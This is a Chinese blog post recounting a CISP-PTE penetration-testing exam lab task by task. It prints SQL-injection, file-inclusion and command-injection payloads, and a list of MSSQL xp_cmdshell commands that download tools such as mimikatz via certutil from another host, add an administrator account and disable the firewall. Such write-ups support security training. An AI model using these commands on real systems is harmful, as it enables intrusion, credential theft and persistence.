前些阵子有个活动送了我 CISP 的考试券,今天去考了 CISP-PTE 认证,趁自己印象还比较深写一下
CISP-PTE
介绍
What is CISP
{% colorquote info @Baidu https://baike.baidu.com/item/CISP/1438639?fr=aladdin %}
CISP即“注册信息安全专业人员”,系国家对信息安全人员资质的最高认可。英文为 Certified Information Security Professional (简称CISP),CISP系经中国信息安全产品测评认证中心(已改名中国信息安全测评中心)实施国家认证。CISP是强制培训的。如果想参加CISP考试,必须要求出具授权培训机构的培训合格证明。
{% endcolorquote %}
再来看一下区别:
{% blockquote http://www.edufly.cn/cisp/7891.html %}
CISP
考证要求:需要工作经验
100到题目,单选,好像是60%就过线。
CISSP
考证要求:需要工作经验
考试时间6个小时,满分1000分,700分过线
CISP-PTE
考证要求:不需要工作经验
学生也可以考试,专项能力通过即可拿证
考试题型为客观题、实操题。客观题为单项选择题,共 20 题,每 题 1 分;实操题共 80 分。总分共 100 分,得到 70 分以上(含 70 分)为通过。
{% endblockquote %}
体系结构
CISP-PTE 考试整体分为两个部分,一部分单项选择题,一部分实操题,考试时间4小时。
考试内容 | 考试形式 | 考试分数 |
---|---|---|
安全加固与防御 | 单项选择 | 20 |
Web安全基础 | 实操 | 30 |
日志与数据分析 | 实操 | 20 |
渗透测试基础 | 实操 | 30 |
具体涉及知识可参考CISP-攻防领域考试中心
单选题
比较基本的题目,一些概念题或者其他的题,例如 hacker 一词最早出自哪里等等
###实操题
实操题都是通过在一个虚拟环境进行操作,虚拟环境里面提供了基本需要的工具,字典也会给,题目给的密文基本就是字典里面的,所以不必担心什么解不出来啥的问题
第一题–sql注入
第一题一般是 sql 注入的题,比较简单,不需要手注,直接 sqlmap 跑也可以,不过我考试的时候就用手注,第一题万能密码,过滤了or
以及注释符,用
username: admin' || '1
password: 1
即可登录拿到第一个 key
第二题—文件上传
第二题一般是文件上传的题型,直接用 00 截断就可以了,不过我做的时候貌似还检查了文件内容,eval
跟assert
关键字都被过滤了,我直接用system
直接读取的 key.php
第三题–文件包含
这题当时我彻底陷入了 php 本地包含的洞里去了,加上平时我都是cp
的 payload (不要问我为什么这么懒,这样快也比较方便…)导致自己考试的时候比较晕也怀疑自己的 payload 是不是写错了
php://filter/read=convert.base64-encode/resource=key.php
但是一直做不出来…我也觉得不可能这么难吧
考完试我去问了一下出题的,他说是源代码里面有后门文件提示???
WTF???EXM???
坑还是感觉有点坑的,不过还是觉得自己不细心导致没做出来的吧…
问了同学,view.html
有后门提示,直接连上去就行了。。WTMD!
第四题–命令执行
很简单的命令注入的一道题,用;
或者其他命令分隔符绕过就行了,但是会屏蔽一些读取文件的命令,诸如cat
、more
等
最后忘了是通过用tail
还是下面这个 payload 绕过了
127.0.0.1;curl file:///var/www/html/key.php
第五题–日志审计
我觉得很反人类的一道题,给你一个几MB的日志文件,然后让你肉眼审计发现后门…主要是那个虚拟环境不是很好,只有 Notepad++ ,我直接放了,看得眼睛都疼。
如果要做的话,直接跟 200 的 HTTP 状态码接着审计就差不多了…
第六题–综合渗透
一个 windows + IIS + mssql 的环境,御剑拿到 www.zip ,然后拿到数据库密码,直接用数据库连接工具连上去,发现 key7,找到管理员密码,然后跑 md5 找到明文,登录后台拿到 key6。后面看其他师傅的一般套路是用
EXEC sp_configure 'show advanced options',1; (记得reconfigure)
reconfigure
EXEC sp_configure 'xp_cmdshell',1;(记得reconfigure)启用xp_cmdshell
reconfigure
exec xp_cmdshell 'dir c:\ /s /b |findstr "key"|findstr "txt"'; 找到key的位置
exec xp_cmdshell 'type key位置"'; 直接读key内容,不过一般不会让你有直接读的权限
exec xp_cmdshell 'cacls c:\ /s /b |findstr "key"|findstr "txt" /E /G adminstrator:F'; 改变文件操作权限,F是所有权限,改变权限后再读就能成功
exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/3389.exe'; 这里的certutil的方式与基础题4中的curl思路相同,可参考。这里上传的是开启3389的工具。
exec xp_cmdshell 'net user username password /add';exec xp_cmdshell 'net localgroup administrators username /add';创建账户
exec master..xp_cmdshell 'net localgroup administrators test add'
exec xp_cmdshell 'netsh firewall set opmode disable'; 如果目标开了防火墙,那么即使开启3389端口也无法连接,这条命令用于关闭防火墙。
exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/mimikazts.exe';如果不能建立账户,那么需要工具去破解系统账户的密码。这里使用的mimikazts。
exec master..xp_cmdshell 'dir "C:\Documents and Settings\Administrator\桌面\" /A -D /B'
exec xp_cmdshell 'type "C:\Documents and Settings\Administrator\桌面\key.txt"'
最后我通过xp_cmdshell
执行命令没有发现 key8,问了一下人家说是要通过远程过去…做法是通过写一个一句话,上传一个类似 mimikatz 的工具,直接抓 Administrator 的密码,通过 reduh 进行 rdp 转发,再连远程,在桌面可以看到 key8
Conclusion
个人感觉这是最失败的一次…因为第三题感觉真的是…有点坑,也怪自己不太小心。第四题因为真的看得眼睛难受不想看了。最后一个 key 确实需要一点技巧,自己在内网渗透这方面经验着实少,后来也学习了一些姿势。但是这环境真的是卡得一批,另一个跟我一起考的师傅也是很想吐槽这一点,然后我们双方达成了共识——为什么要考4小时,明明一小时多就可以解决的问题都是因为给机器拖沓的…哎,虽然感觉过不去,但是感觉自己也尽力了吧。也有些情有可原的地方,8点半的考试,我7点起,早起傻一天(手动狗头。
虽然有点感觉暴躁,原本可以轻轻松松过了的,结果可能没过,但是还是学到了一些姿势吧。无论结果如何,还是安慰自己学到了东西就好,反正考试券免费的hhhh